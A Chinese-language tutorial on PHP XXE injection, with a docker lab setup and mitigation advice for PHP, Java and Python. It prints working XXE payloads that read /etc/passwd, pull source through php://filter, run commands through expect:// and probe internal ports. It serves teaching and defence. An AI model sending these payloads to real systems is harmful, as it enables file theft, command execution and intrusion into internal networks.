PHP XXE漏洞


PHP xml 外部實體注入漏洞(XXE)

1.環境

PHP 7.0.30
Libxml 2.8.0
Libxml2.9.0 以后 ,默認不解析外部實體,對於PHP版本不影響XXE的利用

2.原理介紹

XML 被設計為傳輸和存儲數據,其焦點是數據的內容。 HTML 被設計用來顯示數據,其焦點是數據的外觀。 HTML 旨在顯示信息,而 XML 旨在傳輸信息。XML特點,XML 被設計用來結構化、存儲以及傳輸信息。僅僅是純文本,有能力處理純文本的軟件都可以處理 XML。XML 允許創作者定義自己的標簽和自己的文檔結構。XML 是獨立於軟件和硬件的信息傳輸工具。所有現代瀏覽器都有讀取和操作 XML 的內建 XML 解析器,但是不同的瀏覽器解析的方法不一樣的,如在IE中使用loadXML()方法,在其他瀏覽器中使用DOMParser。loadXML()方法用於加載字符串文本,load()方法用於加載文件。解析器把 XML 載入內存,然后把它轉換為可通過 JavaScript 訪問的 XML DOM 對象。

3.漏洞危害

3.1讀取任意文件

file 協議,file:///etc//passwd
php 協議,php://filter/read=convert.base64-encode/resource=index.php 

3.2執行系統命令

 部分情況會有,在特殊的配置環境下,如PHP環境中PHP的expect模塊被加載到了易受攻擊的系統或者能處理XML的應用中,就能執行命令。簡單payload如下

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "expect://ifconfig" >]>
<root>
<name>&xxe;</name>
</root>

3.3探測內網端口

 借助漏洞實現內網探測,常見payload如下:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "http://192.168.199.100:80">]>
<root>
<name>&xxe;</name>
</root>

3.4攻擊內網網站(dos或者直接吃服務器資源導致無法正常服務)

4.測試

啟動並且編譯環境
docker-compose up -d

看見done后,訪問http://192.168.5.136:8080.index.php 可以看到phpinfo,libxml即可看到其版本為2.8.0。

Web目錄位www有四個文件

├── dom.php # 示例:使用DOMDocument解析body
├── index.php
├── SimpleXMLElement.php # 示例:使用SimpleXMLElement類解析body
└── simplexml_load_string.php # 示例:使用simplexml_load_string函數解析body
dom.php、SimpleXMLElement.php、simplexml_load_string.php均可觸發XXE漏洞,具體輸出點請閱讀這三個文件的代碼。
源碼如下:

XXE示例 payload
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>

可以看到讀取到了,root下的信息

5.解決方案和建議

5.1 使用開發語言提供的禁用外部實體的方法

PHP:

libxml_disable_entity_loader(true);

JAVA:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();

dbf.setExpandEntityReferences(false);

Python:

from lxml import etree

xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

5.2 過濾用戶提交的XML數據

如:<!DOCTYPE和<!ENTITY,SYSTEM和PUBLIC

參考

https://security.tencent.com/index.php/blog/msg/69

https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing

https://www.owasp.org/index.php/Testing_for_XML_Injection_(OTG-INPVAL-008)

未來工作 

實戰的配圖加上

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM